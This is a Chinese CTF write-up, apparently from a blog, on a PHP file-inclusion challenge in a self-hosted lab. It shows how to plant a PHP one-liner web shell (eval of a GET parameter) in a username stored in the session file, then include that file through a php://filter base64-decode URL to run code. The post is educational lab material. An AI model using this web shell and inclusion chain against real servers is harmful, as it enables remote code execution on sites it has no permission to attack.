文件包含漏洞之包含SESSION(CTF题目)

这次使用的环境是ubuntu+nginx+php+mysql

首先四个文件源码在以下链接中:

一道CTF题:PHP文件包含 | Chybeta

我们注册一个用户名111密码111,然后登录查看cookie和linux的session,因为我们的de服务器

是手动搭建的,所以容易知道session的位置。

我们查看这个session:

cd /var/lib/php/sessions

发现我们的用户名以base64编码的格式放在了session中,因此我们只要把含有木马的用户名注册了,这个木马就会以base64编码的格式放在session中,并且路径我们也是知道的。

我们把一句话木马注册,可以看到木马已经被放进数据库里面了,session中也存在

15

192.168.87.134/session_upload/index.php?action=php://filter/read=convert.base64-decode/resource=/var/lib/php/sessions/sess_hej7e9k4vjusbpumknkvsks5f1

但是上面的payload不能执行,因为session中还包含着15位的前缀,需要让其乱码

需要重新注册一个base64编码后的名字长度大于100的

chybetachybetachybetachybetachybetachybetachybetachybetachybeta<?php eval($_GET['atebyhc']) ?>

重复上述步骤

注册这个用户名:

chybetachybetachybetachybetachybetachybetachybetachybetachybeta<?php eval($_GET['atebyhc']) ?>
http://192.168.87.134/session_upload/index.php?action=php://filter/read=convert.base64-decode/resource=/var/lib/php/sessions/sess_bhbl2nhonauub8vko76g2ublkt&atebyhc=phpinfo();

成功!

相关推荐
MC何失眠8 分钟前
vulnhub靶场【IA系列】之Tornado
网络·python·学习·安全·web安全·网络安全
程序员阿斌37 分钟前
Springboot内置Apache Tomcat 安全漏洞(CVE-2024-50379)
java·spring boot·web安全·tomcat·apache
高达可以过山车不行1 小时前
透明部署、旁路逻辑串联的区别
网络·安全
数据库安全1 小时前
美创科技获数字安全产业贡献奖
科技·安全
Web极客码1 小时前
初学者如何保护WordPress网站内容
安全·wordpress·密码
xing.yu.CTF1 小时前
PHP相关问题练习
android·开发语言·web安全·php
网安大师兄2 小时前
网络安全(黑客)——自学2025
linux·网络·python·安全·web安全·网络安全·密码学
XDU小迷弟2 小时前
第5天:APP应用&微信小程序&原生态开发&H5+Vue技术&封装打包&反编译抓包点
vue.js·web安全·微信小程序·小程序·架构
脸红ฅฅ*的思春期2 小时前
Java安全—SPEL表达式&XXE&SSTI模板注入&JDBC&MyBatis注入
java·安全·mybatis·ssti·spel表达式